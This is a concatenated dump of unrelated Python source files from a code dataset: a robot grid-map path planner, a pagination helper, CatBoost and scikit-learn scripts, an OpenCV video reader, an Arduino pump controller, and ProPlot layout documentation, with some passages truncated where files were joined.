8-neighbours\n\n Output:\n (connX,connY): 2D coordinates (in the connectionMatrix!!) \\\n of the connection of the input cell to the input neighbour\n \"\"\"\n connX=2*cellX+1\n connY=2*cellY+1\n p = [connX, connY]\n\n result = {\n 0: lambda p: [ p[0], p[1]+1],\n 1: lambda p: [ p[0]+1, p[1]+1],\n 2: lambda p: [ p[0]+1, p[1]],\n 3: lambda p: [ p[0]+1, p[1]-1],\n 4: lambda p: [ p[0], p[1]-1],\n 5: lambda p: [ p[0]-1, p[1]-1],\n 6: lambda p: [ p[0]-1, p[1]],\n 7: lambda p: [ p[0]-1, p[1]+1],\n }\n\n return result[numNeigh](p)\n\n def _pos2cell(self, x_mm, y_mm):\n \"\"\" Convert from robot odometry coordinates (in mm) to cell coordinates \"\"\"\n # make sure we discretize the result to the closest lower integer value\n x_cell = int(np.floor(x_mm/self.sizeCell))\n y_cell = int(np.floor(y_mm/self.sizeCell))\n return [x_cell, y_cell]\n #\n # def _pos2cell_m(self, x_m, y_m):\n #\n\n\n # ############################################################\n # public methods\n # ############################################################\n def setConnection(self, cellX, cellY, numNeigh):\n \"\"\"\n open a connection, i.e., we can go straight from cellX,cellY to its neighbour number numNeigh\n \"\"\"\n # from coordinates in the grid of cells to coordinates in the connection matrix\n [connX, connY] = self._cell2connCoord(cellX, cellY, numNeigh)\n self.connectionMatrix[connX, connY]=1 # True\n\n def deleteConnection(self, cellX, cellY, numNeigh):\n \"\"\"\n close a connection, i.e., we can NOT go straight from cellX,cellY to its neighbour number numNeigh\n \"\"\"\n # from coordinates in the grid of cells to coordinates in the connection matrix\n [connX, connY] = self._cell2connCoord(cellX, cellY, numNeigh)\n self.connectionMatrix[connX, connY] = 0 # False\n\n def isConnectedNumber(self, cellX, cellY, numNeigh):\n \"\"\"\n returns True if the connnection from cell (x,y) to its neighbour number numNeigh is open.\n\n The neighbour indexing is considered as follows\n (8-neighbours from cell x,y numbered clock-wise):\n\n 7 0 1\n 6 (x,y) 2\n 5 4 3\n\n \"\"\"\n [connX, connY] = self._cell2connCoord(cellX, cellY, numNeigh)\n\n return self.connectionMatrix[connX, connY]\n\n def isConnected(self, cellX, cellY, numNeigh):\n \"\"\"\n returns True if the connnection from cell (x,y) to its neighbour number numNeigh is open.\n\n The neighbour indexing is considered as follows\n (8-neighbours from cell x,y numbered clock-wise):\n\n 7 0 1\n 6 (x,y) 2\n 5 4 3\n\n \"\"\"\n n = self.isConnectedNumber(cellX, cellY, numNeigh)\n return n>0.5\n\n # aux functions to display (or save image) with robot and map stuff\n def _drawGrid(self):\n \"\"\"\n aux function to create a grid with map lines\n \"\"\"\n if not self.current_ax:\n print(\"Error plotting: do not call this function directly, \\\n call drawMap first to create a plot where to draw\")\n return False\n\n plt.rc('grid', linestyle=\"--\", color='gray')\n plt.grid(True)\n plt.tight_layout()\n\n x_t = range(0, (self.sizeX+1)*400, 400)\n y_t = range(0, (self.sizeY+1)*400, 400)\n x_labels = [str(n) for n in x_t]\n y_labels = [str(n) for n in y_t]\n plt.xticks(x_t, x_labels)\n plt.yticks(y_t, y_labels)\n\n # Main rectangle\n X = np.array([0, self.sizeX, self.sizeX, 0, 0]) * self.sizeCell\n Y = np.array([0, 0, self.sizeY, self.sizeY, 0]) * self.sizeCell\n self.current_ax.plot(X, Y, self.mapLineStyle)\n\n # \"vertical\" walls\n for i in range(2, 2*self.sizeX, 2):\n for j in range(1, 2*self.sizeY, 2):\n if not self.connectionMatrix[i,j]:\n # paint \"right\" wall from cell (i-1)/2, (j-1)/2\n cx= np.floor((i-1)/2)\n cy= np.floor((j-1)/2)\n X = np.array([cx+1, cx+1]) * self.sizeCell\n Y = np.array([cy, cy+1]) * self.sizeCell\n self.current_ax.plot(X, Y, self.mapLineStyle)\n\n # \"horizontal\" walls\n for j in range(2, 2*self.sizeY, 2):\n for i in range(1, 2*self.sizeX, 2):\n if not self.connectionMatrix[i,j]:\n # paint \"top\" wall from cell (i-1)/2, (j-1)/2\n cx=np.floor((i-1)/2)\n cy=np.floor((j-1)/2)\n X = np.array([cx, cx+1]) * self.sizeCell\n Y = np.array([cy+1, cy+1]) * self.sizeCell\n self.current_ax.plot(X, Y, self.mapLineStyle)\n plt.axis('equal')\n\n return True\n\n\n # aux functions to display the current CostMatrix on the map\n def _drawCostMatrix(self):\n \"\"\"\n aux function to create a grid with map lines\n \"\"\"\n if not self.current_ax:\n print(\"Error plotting: do not call this function directly, \\\n call drawMap first to create a plot where to draw\")\n return False\n\n # \"center\" of each cell\n for i in range(0, self.sizeX):\n for j in range(0, self.sizeY):\n cx= i*self.sizeCell + self.sizeCell/2.\n cy= j*self.sizeCell + self.sizeCell/2.\n X = np.array([cx])\n Y = np.array([cy])\n cost = self.costMatrix[i,j]\n self.current_ax.text(X, Y, str(cost))\n\n\n plt.axis('equal')\n\n return True\n\n # Dibuja robot en location_eje con color (c) y tamano (p/g)\n def _drawRobot(self, loc_x_y_th=[0,0,0], robotPlotStyle='b', small=False):\n \"\"\"\n UPDATES existing plot to include current robot position\n It expects an existing open figure (probably with the map already on it)\n\n loc_x_y_th is the position x,y and orientation in mm and radians of the main axis of the robot\n\n \"\"\"\n if not self.current_ax:\n print(\"Error plotting: do not call this function directly, \\\n call drawMap first to create a plot where to draw\")\n return False\n\n if small:\n largo, corto, descentre = [80, 50, 5]\n else:\n largo, corto, descentre = [160, 100, 10]\n\n trasera_dcha=np.array([-largo,-corto,1])\n trasera_izda=np.array([-largo,corto,1])\n delantera_dcha=np.array([largo,-corto,1])\n delantera_izda=np.array([largo,corto,1])\n frontal_robot=np.array([largo,0,1])\n\n tita=loc_x_y_th[2]\n Hwe=np.array([[np.cos(tita), -np.sin(tita), loc_x_y_th[0]],\n [np.sin(tita), np.cos(tita), loc_x_y_th[1]],\n [0, 0 , 1]])\n\n Hec=np.array([[1,0,descentre],\n [0,1,0],\n [0,0,1]])\n\n extremos=np.array([trasera_izda, delantera_izda, delantera_dcha, trasera_dcha, trasera_izda, frontal_robot, trasera_dcha])\n robot=np.dot(Hwe, np.dot(Hec,np.transpose(extremos)))\n\n self.current_ax.plot(robot[0,:], robot[1,:], robotPlotStyle)\n\n return True\n\n def drawMapWithRobotLocations(self,\n robotPosVectors=[ [0,0,0], [600, 600, 3.14] ],\n saveSnapshot=True):\n \"\"\" Overloaded version of drawMap to include robot positions \"\"\"\n return self.drawMap(robotPosVectors=robotPosVectors, saveSnapshot=saveSnapshot)\n\n\n def drawMap(self, robotPosVectors = None, saveSnapshot=False):\n \"\"\"\n Generates a plot with currently loaded map status\n\n NOTE:\n if verbose, it displays the plot\n if saveSnapshot: saves a figure as mapstatus_currenttimestamp_FIGNUM.png\n \"\"\"\n self.verbose=True\n #self.verbose=False\n\n # create a new figure and set it as current axis\n current_fig = plt.figure()\n self.current_ax = current_fig.add_subplot(111)\n\n self._drawGrid()\n\n # if flag is true, draw also current CostMatrix\n if self.verbose:\n self._drawCostMatrix()\n\n if robotPosVectors:\n for loc in robotPosVectors:\n #print(\"Robot in pos: \", loc)\n self._drawRobot(loc_x_y_th=loc, robotPlotStyle='b--')\n # plot last robot position with solid green line\n self._drawRobot(loc_x_y_th=loc, robotPlotStyle='g-')\n\n if saveSnapshot:\n ts = str(time.time())\n snapshot_name = \"mapstatus_\"+ts+\"_F\"+str(current_fig.number)+\".png\"\n print(\"saving %s \" % snapshot_name)\n plt.savefig(snapshot_name)\n\n if self.verbose:\n current_fig.set_visible(True)\n current_fig.show()\n print(\"Press ENTER in the plot window to continue ... \")\n current_fig.waitforbuttonpress()\n else:\n current_fig.set_visible(False)\n\n return current_fig\n\n\n def findPath(self, point_ini, point_end):\n \"\"\" overloaded call to planPath (x_ini, y_ini, x_end, y_end) \"\"\"\n return self.planPath(point_ini[0], point_ini[1],\n point_end[0], point_end[1])\n\n # ############################################################\n # METHODS to IMPLEMENT in P4\n # ############################################################\n\n def neighbourCell(self, x, y, neighbour):\n if neighbour==0:\n return [x, y+1]\n elif neighbour==2:\n return [x+1, y]\n elif neighbour==4:\n return [x, y-1]\n elif neighbour==6:\n return [x-1, y]\n\n def printCostMatrix(self):\n \"\"\"\n Prints the cost matrix in the same order as the maps (X right, Y up)\n \"\"\"\n print(np.rot90(self.costMatrix))\n\n def hasValue(self, neighbour_cell, front):\n \"\"\"\n returns True if the cell already has a value or is in the frontier\n \"\"\"\n return neighbour_cell in front or self.costMatrix[neighbour_cell[0], neighbour_cell[1]] >= 0\n \n def cellExists(self, cell):\n x=cell[0]\n y=cell[1]\n return 0<=x= self.costMatrix.size:\n end=True\n frontier=newFront\n cost += 1\n self.printCostMatrix()\n return True\n\n\n\n def findPathFromPos(self, x_ini, y_ini, x_end, y_end):\n x_milli = max(x_ini*1000.0, 0)\n y_milli = max(y_ini*1000.0, 0)\n x,y = self._pos2cell(x_milli, y_milli)\n return self.findPath(x,y, x_end, y_end)\n\n def findPath(self, x_ini, y_ini, x_end, y_end):\n \"\"\"\n x_ini, y_ini, x_end, y_end: integer values that indicate \\\n the x and y coordinates of the starting (ini) and ending (end) cell\n Finds the path between ini and end\n \"\"\"\n self.goal = [x_end,y_end]\n if not self.fillCostMatrix():\n return False\n\n self.currentPath = []\n pathFound = False\n current_x=x_ini\n current_y=y_ini\n self.endx=x_end\n self.endy=y_end\n while not pathFound:\n x_min=0\n y_min=0\n min_cost=math.inf\n foundOne=False\n if(self.isConnected(current_x, current_y, 0) and self.costMatrix[current_x][current_y+1] cur_count:\r\n next_url = '{}{}?page={}'.format(host, request.path, page + 1)\r\n if cur_count > max_per_page:\r\n previous_url = '{}{}?page={}'.format(host, request.path, page - 1)\r\n return OrderedDict([\r\n ('count', total),\r\n ('next', next_url),\r\n ('previous', previous_url),\r\n ('results', data)\r\n ])\r\n\r\n return OrderedDict([\r\n ('count', max_per_page),\r\n ('page', page),\r\n ('total', total),\r\n ('next', next_url),\r\n ('previous', previous_url),\r\n ('results', data)\r\n ])","sub_path":"sanic_api/apps/utils/order_api.py","file_name":"order_api.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"239902154","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Dec 24 02:26:47 2018\r\n\r\n@author: MOBASSIR\r\n\"\"\"\r\n\r\n\r\n\"\"\"\r\n\r\ncode for this research work was taken from catboost's(A fast, scalable, high performance Gradient Boosting on Decision Trees library, used for ranking, classification, regression and other machine learning tasks for Python, R, Java, C++. Supports computation on CPU and GPU. https://catboost.ai)\r\ndoccumentation.\r\n\r\nref link : https://github.com/catboost/catboost\r\n\r\n\r\n\"\"\"\r\n#importing libraries\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom catboost import CatBoostClassifier,Pool,cv\r\nfrom sklearn.preprocessing import LabelEncoder\r\nimport matplotlib.pyplot as plt\r\n \r\n \r\n#Importing the dataset\r\ndataset = pd.read_csv('appendix_for_ml.csv')\r\nX = dataset.iloc[:, :-1].values\r\ny = dataset.iloc[:, 8].values\r\n\r\n\r\nlabelencoder_y = LabelEncoder()\r\ny = labelencoder_y.fit_transform(y)\r\n\r\n\r\n\r\nrnd_state = 63\r\n\r\n# Splitting the dataset into the Training set and Test set\r\nfrom sklearn.cross_validation import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.4, random_state = 0)\r\n\r\n#X_test[104][10] = \"yes\"\r\n\r\n\r\ncat_featuresind=[0,1,2,3,4,5,6,7]\r\n\r\nclf = CatBoostClassifier (iterations=10,random_seed=rnd_state, custom_metric='Accuracy')\r\n\r\nclf.fit(X_train, y_train, cat_features=cat_featuresind,plot = True)\r\n\r\n\r\nclf.score(X_test, y_test)\r\n\r\n\r\n\r\n\r\nfrom sklearn.metrics import confusion_matrix,accuracy_score\r\ny_pred = clf.predict(X_test)\r\n\r\n#print(clf.predict(X_test[104]))\r\ncm = confusion_matrix (y_test, y_pred)\r\n\r\n\r\nfrom sklearn.metrics import recall_score,precision_score\r\n\r\nprint(recall_score(y_test,y_pred,average='macro'))\r\n\r\nprint(precision_score(y_test, y_pred, average='micro'))\r\n\r\n\r\nprint(accuracy_score(y_test,y_pred))\r\n\r\n\r\n\r\n#cr0ss validati0n\r\n\r\ncv_params = clf.get_params()\r\ncv_params.update({\r\n 'loss_function': 'Logloss'\r\n})\r\ncv_data = cv(\r\n Pool(X, y, cat_features=cat_featuresind),\r\n cv_params,\r\n plot=True\r\n)\r\n\r\n\r\nprint('Best validation accuracy score: {:.2f}±{:.2f} on step {}'.format(\r\n np.max(cv_data['test-Accuracy-mean']),\r\n cv_data['test-Accuracy-std'][np.argmax(cv_data['test-Accuracy-mean'])],\r\n np.argmax(cv_data['test-Accuracy-mean'])\r\n))\r\n\r\n\r\nprint('Precise validation accuracy score: {}'.format(np.max(cv_data['test-Accuracy-mean'])))\r\n\r\n\r\n\r\n\r\nimportances = clf.feature_importances_\r\nprint(clf.feature_importances_)\r\nplt.title('Feature Importances ')\r\nplt.barh(range(len(cat_featuresind)), importances[cat_featuresind], color='b', align='center')\r\n#plt.yticks(dataset[i][0] for i in cat_featuresind)\r\nplt.xlabel('Relative Importance')\r\nplt.savefig('Save.JPEG')\r\nplt.savefig('destination_path.eps', format='eps', dpi=1000)\r\nplt.savefig('myimage.svg', format='svg', dpi=1200)\r\n\r\nplt.show()\r\n \r\n\r\n\r\n\r\n","sub_path":"featureiportance_catboost.py","file_name":"featureiportance_catboost.py","file_ext":"py","file_size_in_byte":2794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"615897145","text":"import cv2\n\nvid = cv2.VideoCapture('./video/small.avi')\n\nwhile True:\n ret, frame = vid.read()\n if not ret:\n break\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n if ret:\n cv2.imshow('video',frame)\n if cv2.waitKey(10) > 0:\n break\n\nvid.release()\ncv2.destroyAllWindows()","sub_path":"python/opencv/src/video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"125203857","text":"import pandas as pd\nimport numpy as np\nfrom sklearn import datasets\nfrom sklearn.cross_validation import StratifiedKFold\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.decomposition import PCA, KernelPCA\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.metrics import accuracy_score, precision_score, recall_score, roc_auc_score, confusion_matrix\n\n\npca, lda, rbf = 0, 0, 1\n\niris = datasets.load_iris()\nX = iris.data\ny = iris.target\n\n# pandafy the data\nX = pd.DataFrame(data=X, columns=list(\"ABCD\"))\ny = pd.Series(y)\n\n# standardize the features\nKfold = StratifiedKFold(y = y,\n n_folds=10,\n random_state=1)\n\nsc = StandardScaler()\n\nX_train, X_test, y_train, y_test = \\\n train_test_split(X, y, test_size=0.3, random_state=0)\n\n# standardize\nX_train_std = sc.fit_transform(X_train)\nX_test_std = sc.transform(X_test)\n# pca\nif pca:\n pca = PCA(n_components=2)\n X_train_std_pca = pca.fit_transform(X_train_std)\n X_test_std_pca = pca.transform(X_test_std)\n\nif lda:\n lda = LinearDiscriminantAnalysis(solver=\"svd\",n_components=2)\n X_train_std_lda = lda.fit_transform(X_train_std, y_train)\n\nif rbf:\n rbf = KernelPCA(n_components=2, kernel='rbf', gamma=10)\n X_train_rbf = rbf.fit_transform(X_train)\n\npipe1 = Pipeline([('sc', StandardScaler()),\n ('pca', PCA(n_components=3)),\n ('lr', LogisticRegression(penalty='l1', C=10))])\n\npipe2 = Pipeline([('sc', StandardScaler()),\n ('lda', LinearDiscriminantAnalysis(n_components=2)),\n ('lr', LogisticRegression(penalty='l1', C=10))])\n\npipe3 = Pipeline([('rbf', KernelPCA(n_components=2, kernel='rbf', gamma=2)),\n ('lr', LogisticRegression(penalty='l1', C=10))])\n\npipe1 = pipe1.fit(X_train, y_train)\npipe2 = pipe2.fit(X_train, y_train)\npipe3 = pipe3.fit(X_train, y_train)\n\npipelines = ['Standardize + PCA + Logistic Reg',\n 'Standardize + LDA + Logistic Reg',\n 'Standardize + RBF + Logistic Reg']\n\nfor pipeline, pipe in zip(pipelines, [pipe1, pipe2, pipe3]):\n print(\"\\n\\nPipeline: \" + str(pipeline))\n print(\"Training metrics .....\")\n confmat = confusion_matrix(y_train, pipe.predict(X_train))\n print(\"Confusion matrix: \\n\",confmat)\n accscore = np.trace(confmat).astype('float') / np.sum(confmat).astype('float')\n print(\"Accuracy : %.2f\" % accscore)\n print(\"Builtin Accuracy : %2f\" % accuracy_score(y_train, pipe.predict(X_train)))\n print(\"Precision : %2f\" % precision_score(y_train, pipe.predict(X_train), average=\"macro\"))\n print(\"Recall : %2f\" % recall_score(y_train, pipe.predict(X_train), average=\"macro\"))\n\n print(\"Testing metrics .....\")\n confmat = confusion_matrix(y_test, pipe.predict(X_test))\n print(\"Confusion matrix: \\n\", confmat)\n accscore = np.trace(confmat).astype('float') / np.sum(confmat).astype('float')\n print(\"Accuracy : %.2f\" % accscore)\n print(\"Builtin Accuracy : %2f\" % accuracy_score(y_test, pipe.predict(X_test)))\n print(\"Precision : %2f\" % precision_score(y_test, pipe.predict(X_test), average=\"macro\"))\n print(\"Recall : %2f\" % recall_score(y_test, pipe.predict(X_test), average=\"macro\"))\n\n\n# Notes\n# LDA required lesser components than PCA to achieve the same performance\n# rbf performs much worse than linear kernel","sub_path":"scikit-learn/FeatureExtraction.py","file_name":"FeatureExtraction.py","file_ext":"py","file_size_in_byte":3489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"128598654","text":"import pyfirmata\r\nimport time\r\nimport requests\r\n\r\n\r\nboard = pyfirmata.Arduino('COM8')\r\n\r\n\r\nimport time\r\n\r\ndef executeSomething():\r\n #code here\r\n board.digital[8].write(1)\r\n currentHum = requests.get('https://pi2-ephec.herokuapp.com/data/last?potId=1')\r\n minHum = requests.get('https://pi2-ephec.herokuapp.com/data/humidityThreshold?potId=1')\r\n arrosageAutYesOrNo = requests.get('https://pi2-ephec.herokuapp.com/users/getLearningMode?id=32')\r\n # print(x.status_code)\r\n # print(x.json())\r\n oneOrZero = arrosageAutYesOrNo.json()\r\n currentHumNum = currentHum.json()\r\n minHumNum = minHum.json()\r\n\r\n print(oneOrZero[0][\"learningMode\"])\r\n print(minHumNum.get(\"humidity\"))\r\n print(currentHumNum[0][\"dataHumidity\"])\r\n learningMode = oneOrZero[0][\"learningMode\"]\r\n humidityMin = minHumNum.get(\"humidity\")\r\n humidtyFromPlant = currentHumNum[0][\"dataHumidity\"]\r\n if ((humidityMin > humidtyFromPlant) and (learningMode == 1)): # Mode auto activer et allume la pompe quelque seconde\r\n board.digital[8].write(0)\r\n print(\"ok\")\r\n time.sleep(5)\r\n board.digital[8].write(1)\r\n #time.sleep(3)\r\n if ((humidityMin < 80)):\r\n board.digital[8].write(0)\r\nwhile True:\r\n executeSomething()\r\n#while True:\r\n\r\n","sub_path":"électronique/waterPumpControl.py","file_name":"waterPumpControl.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"532130065","text":"# Question: removing element from a list.\n# This solution would come out to have a runtime complexity of O(n) because there is a while loop being used to traverse the array.\n# The space complexity would be O(1) since no extra data structures were created.\n\ndef remove_element(lst1, target):\n # new_lst = []\n print(\"lst1 start:\", lst1)\n i = 0\n while i < len(lst1)-1:\n if lst1[i] == target:\n lst1.remove(lst1[i])\n continue\n i += 1\n return lst1\n\nif __name__ == \"__main__\":\n lst1 = [1, 3, 5, 6, 3, 3, 4]\n target = 3\n print(remove_element(lst1, target))\n\n\n","sub_path":"Day_11_LeetCodeQuestions/remove_element.py","file_name":"remove_element.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"426872134","text":"# ---\n# jupyter:\n# jupytext:\n# text_representation:\n# extension: .py\n# format_name: percent\n# format_version: '1.3'\n# jupytext_version: 1.11.4\n# kernelspec:\n# display_name: Python 3\n# language: python\n# name: python3\n# ---\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_layout:\n#\n# The subplot\n# ===========\n#\n# This section documents a variety of features related to ProPlot subplots,\n# including automatic a-b-c subplot labels, axis sharing between subplots,\n# automatic spacing between subplots, and a unique feature where the figure\n# size is determined automatically from the subplot geometry.\n#\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_abc:\n#\n# A-b-c labels\n# ------------\n#\n# ProPlot can quickly add \"a-b-c\" labels to subplots. This is possible because\n# ProPlot assigns a unique `~proplot.axes.Axes.number` to each subplot. The\n# subplot number can be manually controlled by passing a `number` keyword to\n# `~proplot.figure.Figure.add_subplot`. Otherwise, the subplot number is\n# incremented by ``1`` each time you call `~proplot.figure.Figure.add_subplot`.\n#\n# If you draw all of your subplots at once with `~proplot.figure.Figure.add_subplots`,\n# the subplot numbers depend on the input arguments. If you\n# :ref:`passed an array `, the subplot numbers correspond to the numbers\n# in the array. But if you used the `ncols` and `nrows` keyword arguments, the\n# number order is row-major by default and can be switched to column-major by\n# passing ``order='F'``. The number order also determines the subplot order in\n# the `~proplot.gridspec.SubplotGrid` returned by `~proplot.figure.Figure.add_subplots`.\n#\n# To turn on \"a-b-c\" labels, set :rcraw:`abc` to ``True`` or pass ``abc=True``\n# to `~proplot.axes.Axes.format` (see :ref:`the format command `\n# for details). To change the label style, set :rcraw:`abc` to e.g. ``'A.'`` or\n# pass e.g. ``abc='A.'`` to `~proplot.axes.Axes.format`. You can also modify\n# the \"a-b-c\" label location, weight, and size with the :rcraw:`abc.loc`,\n# :rcraw:`abc.weight`, and :rcraw:`abc.size` settings. Also note that if the\n# an \"a-b-c\" label and title are in the same position, they are automatically\n# offset away from each other.\n#\n# .. note::\n#\n# \"Inner\" a-b-c labels and titles are surrounded with a white border when\n# :rcraw:`abc.border` and :rcraw:`title.border` are ``True`` (the default).\n# White boxes can be used instead by setting :rcraw:`abc.bbox` and\n# :rcraw:`title.bbox` to ``True``. These options help labels stand out\n# against plotted content. Any text can be given \"borders\" or \"boxes\" by\n# passing ``border=True`` or ``bbox=True`` to `proplot.axes.Axes.text`.\n\n# %%\nimport proplot as pplt\nfig = pplt.figure(space=0, refwidth='10em')\naxs = fig.subplots(nrows=3, ncols=3)\naxs.format(\n abc='A.', abcloc='ul',\n xticks='null', yticks='null', facecolor='gray5',\n xlabel='x axis', ylabel='y axis',\n suptitle='A-b-c label offsetting, borders, and boxes',\n)\naxs[:3].format(abcloc='l', titleloc='l', title='Title')\naxs[-3:].format(abcbbox=True) # also disables abcborder\n# axs[:-3].format(abcborder=True) # this is already the default\n\n# %%\nimport proplot as pplt\nfig = pplt.figure(space=0, refwidth=0.7)\naxs = fig.subplots(nrows=8, ncols=8)\naxs.format(\n abc=True, abcloc='ur',\n xlabel='x axis', ylabel='y axis', xticks=[], yticks=[],\n suptitle='A-b-c label stress test'\n)\n\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_autosize:\n#\n# Automatic sizes\n# ---------------\n#\n# By default, ProPlot determines the suitable figure size given the\n# geometry of the subplot grid and the size of a \"reference\" subplot.\n# This \"reference\" subplot is specified with the `~proplot.figure.Figure`\n# keyword `refnum` (default is ``1``, i.e. the first subplot added to the figure\n# or the subplot in the upper-left corner when generated with `~proplot.ui.subplots`).\n# ProPlot can also determine the suitable figure height given a fixed figure\n# width, and the suitable figure width given a fixed figure height.\n#\n# The figure size is ultimately controlled by the following\n# `~proplot.figure.Figure` keyword arguments:\n#\n# * `refwidth` and `refheight` set the physical dimensions of the reference subplot\n# (default is :rc:`subplots.refwidth`). If one is specified, the other is calculated\n# to satisfy the subplot aspect ratio `refaspect` (default is ``1``). If both are\n# specified, `refaspect` is ignored. When these keyword arguments are used, the\n# width and height of the figure are both determined automatically.\n# * `figwidth` and `figheight` set the physical dimensions of the figure.\n# If one is specified, the other is calculated to satisfy `refaspect`\n# and the subplot spacing. If both are specified, or if the `figsize` parameter\n# is specified, the figure size is fixed and `refaspect` is ignored.\n# * `journal` constrains the physical dimensions of the figure to meet requirements\n# for submission to an academic journal. For example, ``journal='nat1'``\n# results in a width suitable for single-column *Nature* figures. See\n# :ref:`this table ` for the list of available journal\n# specifications (feel free to add to this table by submitting a pull request).\n#\n# The below examples show how these keyword arguments affect the figure size.\n#\n# .. important::\n#\n# The automatic figure size algorithm has the following notable properties:\n#\n# * For very simple subplot grids (e.g., subplots created with the `ncols` and\n# `nrows` arguments), the arguments `refaspect`, `refwidth`, and `refheight`\n# effectively apply to every subplot in the figure -- not just the\n# reference subplot.\n# * When the reference subplot `aspect ratio\n# `__\n# has been fixed (e.g., using ``ax.set_aspect(1)``) or is set to ``'equal'`` (as\n# with :ref:`geographic projections ` and `~proplot.axes.PlotAxes.imshow`\n# images), the fixed aspect ratio is used and the `~proplot.ui.subplots`\n# `refaspect` parameter is ignored. This is critical for getting the figure\n# size right when working with grids of images and geographic projections.\n# * The physical widths of `~proplot.axes.Axes.colorbar`\\ s and\n# `~proplot.axes.Axes.panel`\\ s are always preserved during figure resizing.\n# ProPlot specifies their widths in physical units to help avoid colorbars\n# and panels that look \"too skinny\" or \"too fat\".\n\n# %%\nimport proplot as pplt\nimport numpy as np\n\n# Grid of images (note the square pixels)\nstate = np.random.RandomState(51423)\ncolors = np.tile(state.rand(8, 12, 1), (1, 1, 3))\nfig, axs = pplt.subplots(ncols=3, nrows=2, refwidth=1.7)\nfig.format(suptitle='Auto figure size for grid of images')\nfor ax in axs:\n ax.imshow(colors)\n\n# Grid of cartopy projections\nfig, axs = pplt.subplots(ncols=2, nrows=3, proj='robin')\naxs.format(land=True, landcolor='k')\nfig.format(suptitle='Auto figure size for grid of cartopy projections')\n\n\n# %%\nimport proplot as pplt\npplt.rc.update(grid=False, titleloc='uc', titleweight='bold', titlecolor='red9')\n\n# Change the reference subplot width\nsuptitle = 'Effect of subplot width on figure size'\nfor refwidth in ('3cm', '5cm'):\n fig, axs = pplt.subplots(ncols=2, refwidth=refwidth,)\n axs[0].format(title=f'refwidth = {refwidth}', suptitle=suptitle)\n\n# Change the reference subplot aspect ratio\nsuptitle = 'Effect of subplot aspect ratio on figure size'\nfor refaspect in (1, 2):\n fig, axs = pplt.subplots(ncols=2, refwidth=1.6, refaspect=refaspect)\n axs[0].format(title=f'refaspect = {refaspect}', suptitle=suptitle)\n\n# Change the reference subplot\nsuptitle = 'Effect of reference subplot on figure size'\nfor ref in (1, 2): # with different width ratios\n fig, axs = pplt.subplots(ncols=3, wratios=(3, 2, 2), ref=ref, refwidth=1.1)\n axs[ref - 1].format(title='reference', suptitle=suptitle)\nfor ref in (1, 2): # with complex subplot grid\n fig, axs = pplt.subplots([[1, 2], [1, 3]], refnum=ref, refwidth=1.8)\n axs[ref - 1].format(title='reference', suptitle=suptitle)\n\npplt.rc.reset()\n\n# %% [raw] raw_mimetype=\"text/restructuredtext\"\n# .. _ug_tight:\n#\n# Subplot spaces\n# --------------\n#\n# By default, ProPlot automatically determines the suitable space between\n# subplots using a tight layout algorithm. This algorithm automatically\n# expands or contracts the space between subplots to accommodate labels.\n# It can be disabled by passing ``tight=False`` to `~proplot.ui.subplots`\n# or setting :rcraw:`subplots.tight` to ``False``. In contrast to\n# `matplotlib's tight layout algorithm\n# `__,\n# ProPlot's algorithm may change the figure size to accommodate the correct\n# spacing and permits variable spacing between subsequent subplot rows and\n# columns (see `proplot.gridspec.GridSpec` for details).\n#\n# The tight layout algorithm can also be completely or partly overridden. When\n# you pass any of the spacing arguments `left`, `right`, `top`, `bottom`,\n# `wspace`, or `hspace` to `~proplot.ui.figure`, `~proplot.ui.subplots`, or\n# `~proplot.gridspec.GridSpec`, that value is always respected. For example:\n#\n# * ``left=2`` fixes the left margin at 2 em-widths, while the right,\n# bottom, and top margin widths are determined by the tight layout algorithm.\n# * ``wspace=1`` fixes the spaces between subplot columns at 1 em-width, while the\n# spaces between subplot rows are determined by the tight layout algorithm.\n# * ``wspace=(3, None)`` fixes the space between the first two columns of\n# a three-column plot at 3 em-widths, while the space between the second two\n# columns is determined by the tight layout algorithm.\n#\n# Alternatively, the padding used by the tight layout algorithm (rather than the\n# absolute spaces between subplot edges) can be changed by passing `outerpad`,\n# `innerpad`, or `panelpad` to `~proplot.ui.figure` or `~proplot.ui.subplots`.\n# This padding can be set locally by passing an array of values to `wpad`\n# and `hpad` (analogous to `wspace` and `hspace`), or by passing the `pad`\n# keyword when creating :ref:`panel axes ` or :ref:`outer\n# colorbars and legends ` (analogous to `space`). Finally,\n# to constrain the tight layout algorithm to produce equal spacing between\n# main subplot rows and columns, you can pass ``wequal=True``, ``hequal=True``\n# or ``equal=True`` to `~proplot.ui.figure` or `~proplot.ui.subplots` (note that\n# equal spacing is the default behavior when tight layout is disabled).\n#\n# All the spacing parameters described above can be specified with a\n# :ref:`unit string ` interpreted by `~proplot.utils.units`.\n# The default unit assumed for numeric arguments is an \"em-width\" (i.e., a\n# :rcraw:`font.size` width -- see the :ref:`units table ` for details).\n\n# %%\nimport proplot as pplt\n\n# Stress test of the tight layout algorithm\n# Add large labels along the edge of one subplot\nfor equal, descrip in enumerate(('variable', 'equal')):\n fig, axs = pplt.subplots(\n nrows=3, ncols=3, refwidth=1.1, share=False, equal=bool(equal)\n )\n axs[1].format(\n xlabel='xlabel\\nxlabel',\n 